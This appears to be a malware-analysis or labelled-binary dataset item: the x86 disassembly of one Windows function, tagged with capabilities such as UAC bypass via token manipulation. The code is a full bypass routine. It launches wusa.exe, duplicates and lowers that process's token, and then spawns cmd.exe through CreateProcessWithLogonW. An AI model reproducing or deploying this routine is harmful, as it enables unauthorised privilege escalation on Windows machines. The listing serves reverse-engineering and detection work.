Function at 0x81280
Capabilities:
Bypass uac via token manipulation
Create process on windows
Create process suspended
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x71c
mov eax, dword [0x910d8]
xor eax, esp
mov dword [esp + 0x718], eax
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
push esi
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
push edi
mov dword [esp + 0x20], ebx
mov esi, 0xc0000001
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x28], ebx
mov dword [esp + 0x14], ebx
mov dword [esp + 0xfc], ebx
mov word [esp + 0x100], 0x1000
mov dword [esp + 0x24], ebx
mov ecx, 0x3c
lea eax, [esp + 0x74]
mov byte [eax], bl
inc eax
dec ecx
jne 0x812e1
cmp edx, ebx
je 0x812f2
mov edi, edx
jmp 0x81373
mov ecx, 0x20a
lea eax, [esp + 0x110]
mov edi, edi
mov byte [eax], bl
inc eax
dec ecx
jne 0x81300
mov ecx, 8
lea eax, [esp + 0x44]
nop
mov byte [eax], bl
inc eax
dec ecx
jne 0x81310
push str._systemroot__system32cmd.exe
lea edx, [esp + 0x48]
push edx
call dword [0x9392c]
lea eax, [esp + 0x110]
mov dword [esp + 0x34], eax
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x4c]
push edx
push ebx
mov dword [esp + 0x40], 0x2080000
mov dword [esp + 0x48], ebx
call dword [0x9391c]
cmp eax, ebx
jge 0x8136c
cmp eax, 0xc0000023
je 0x8136c
push eax
call dword [0x93938]
push eax
call dword [0x93920]
lea edi, [esp + 0x110]
lea eax, [esp + 0x74]
push eax
mov dword [esp + 0x78], 0x3c
mov dword [esp + 0x7c], 0x40
mov dword [esp + 0x88], str.wusa.exe
mov dword [esp + 0x94], ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x816f9
mov edx, dword [esp + 0xac]
lea ecx, [esp + 0x2c]
push ecx
push 0x2000000
push edx
call dword [0x93940]
mov esi, eax
cmp esi, ebx
jl 0x81711
lea ecx, [esp + 0x1c]
push ecx
push 1
push ebx
lea edx, [esp + 0x58]
lea eax, [esp + 0x110]
push edx
mov dword [esp + 0x70], eax
mov eax, dword [esp + 0x3c]
push 0xf01ff
push eax
mov dword [esp + 0x11c], 0xc
mov dword [esp + 0x120], 2
mov word [esp + 0x124], bx
mov dword [esp + 0x64], 0x18
mov dword [esp + 0x68], ebx
mov dword [esp + 0x70], ebx
mov dword [esp + 0x6c], ebx
mov dword [esp + 0x74], ebx
call dword [0x93944]
mov esi, eax
cmp esi, ebx
jl 0x8171d
lea ecx, [esp + 0x24]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x2000
push 1
lea edx, [esp + 0x124]
push edx
call dword [0x93948]
mov esi, eax
cmp esi, ebx
jl 0x8172f
mov eax, dword [esp + 0x24]
push eax
mov dword [esp + 0x44], 0x20
mov dword [esp + 0x40], eax
call dword [0x93950]
mov ecx, dword [esp + 0x1c]
add eax, 8
push eax
lea eax, [esp + 0x40]
push eax
push 0x19
push ecx
call dword [0x93934]
mov esi, eax
cmp esi, ebx
jl 0x81741
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x28]
push edx
push ebx
push ebx
push ebx
push 4
push eax
call dword [0x9394c]
mov esi, eax
cmp esi, ebx
jl 0x8174d
mov eax, dword [esp + 0x28]
lea ecx, [esp + 0x14]
push ecx
push 2
push ebx
lea edx, [esp + 0x58]
push edx
push 0xc
push eax
mov dword [esp + 0x2c], ebx
call dword [0x93944]
mov esi, eax
cmp esi, ebx
jl 0x8175f
push 4
lea ecx, [esp + 0x18]
push ecx
push 5
push 0xfffffffffffffffe
call dword [0x93930]
mov esi, eax
cmp esi, ebx
jl 0x81771
mov edx, dword [esp + 0x14]
push edx
call dword [0x9393c]
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
cmp word [edi], bx
je 0x816dd
jmp 0x81516
xor ebx, ebx
movzx edx, word [edi]
mov eax, edi
cmp dx, bx
je 0x81534
mov ecx, edx
cmp cx, 0xd
je 0x81534
movzx ecx, word [eax + 2]
add eax, 2
cmp cx, bx
jne 0x81522
xor ebx, ebx
cmp word [eax], 0xd
setne bl
dec ebx
and ebx, eax
jne 0x8157a
mov eax, edi
test dx, dx
je 0x81562
mov ecx, edx
jmp 0x81550
cmp cx, 0xa
je 0x81562
movzx ecx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x81550
xor ebx, ebx
cmp word [eax], 0xa
setne bl
dec ebx
and ebx, eax
jne 0x8157a
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ebx, [edi + eax*2]
mov eax, ebx
sub eax, edi
sar eax, 1
cmp eax, 0x200
jb 0x8158c
mov eax, 0x1ff
lea esi, [eax + eax]
push esi
lea eax, [esp + 0x324]
push edi
push eax
call fcn.0008ee08
add esp, 0xc
xor ecx, ecx
mov word [esp + esi + 0x320], cx
mov ecx, 0x44
lea eax, [esp + 0xb0]
mov byte [eax], 0
inc eax
dec ecx
jne 0x815b7
lea edx, [esp + 0xb0]
push edx
mov dword [esp + 0xb4], 0x44
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov eax, 6
mov word [esp + 0xe0], ax
mov dword [esp + 0xdc], 1
mov ecx, 0x10
lea eax, [esp + 0x64]
mov byte [eax], 0
inc eax
dec ecx
jne 0x815f8
lea ecx, [esp + 0x64]
push ecx
lea edx, [esp + 0xb4]
push edx
push 0
push 0
push 0
lea eax, [esp + 0x334]
push eax
push 0
push 2
push str.useless
push 0x912a0
push 0x912a8
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
mov dword [esp + 0x20], eax
test eax, eax
je 0x816bf
mov ecx, dword [esp + 0x64]
push 0x2710
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, eax
mov eax, dword [esp + 0x68]
test eax, eax
je 0x81660
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x64]
test eax, eax
je 0x8166f
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 0x102
je 0x8169b
movzx eax, word [ebx]
cmp eax, 0xd
je 0x81684
cmp eax, 0xa
jne 0x81689
add ebx, 2
jmp 0x81677
inc dword [esp + 0x18]
cmp word [ebx], 0
mov edi, ebx
jne 0x81514
jmp 0x816db
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
add edx, 0x210
mov dword [eax], edx
mov dword [ecx], 0x102
mov dword [esp + 0x20], 0
jmp 0x816db
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0xc]
add edx, 0x210
mov dword [eax], edx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp + 0x10]
mov dword [ecx], eax
xor ebx, ebx
push 4
lea edx, [esp + 0x18]
push edx
push 5
push 0xfffffffffffffffe
mov dword [esp + 0x24], ebx
call dword [0x93930]
mov esi, eax
jmp 0x81781
mov eax, dword [esp + 0xc]
mov dword [eax], 0x202
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp + 0x10]
mov dword [ecx], eax
jmp 0x81781
mov edx, dword [esp + 0xc]
mov dword [edx], 0x203
jmp 0x8177b
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
mov dword [ecx], 0x204
mov dword [edx], esi
jmp 0x81781
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
mov dword [eax], 0x205
mov dword [ecx], esi
jmp 0x81781
mov edx, dword [esp + 0xc]
mov dword [edx], 0x206
jmp 0x8177b
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
mov dword [ecx], 0x207
mov dword [edx], esi
jmp 0x81781
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
mov dword [eax], 0x208
mov dword [ecx], esi
jmp 0x81781
mov edx, dword [esp + 0xc]
mov dword [edx], 0x209
mov eax, dword [esp + 0x10]
mov dword [eax], esi
mov eax, dword [esp + 0x14]
cmp eax, ebx
je 0x81790
push eax
call dword [0x9393c]
mov eax, dword [esp + 0x2c]
cmp eax, ebx
je 0x8179f
push eax
call dword [0x9393c]
mov eax, dword [esp + 0x1c]
cmp eax, ebx
je 0x817ae
push eax
call dword [0x9393c]
mov eax, dword [esp + 0x28]
cmp eax, ebx
je 0x817bd
push eax
call dword [0x9393c]
mov eax, dword [esp + 0xac]
cmp eax, ebx
je 0x817de
push ebx
push eax
call dword [0x93924]
mov ecx, dword [esp + 0xac]
push ecx
call dword [0x9393c]
mov eax, dword [esp + 0x24]
cmp eax, ebx
je 0x817ed
push eax
call dword [0x93928]
push esi
call dword [0x93938]
push eax
call dword [0x93920]
mov ecx, dword [esp + 0x724]
mov eax, dword [esp + 0x20]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0008ec50
mov esp, ebp
pop ebp
ret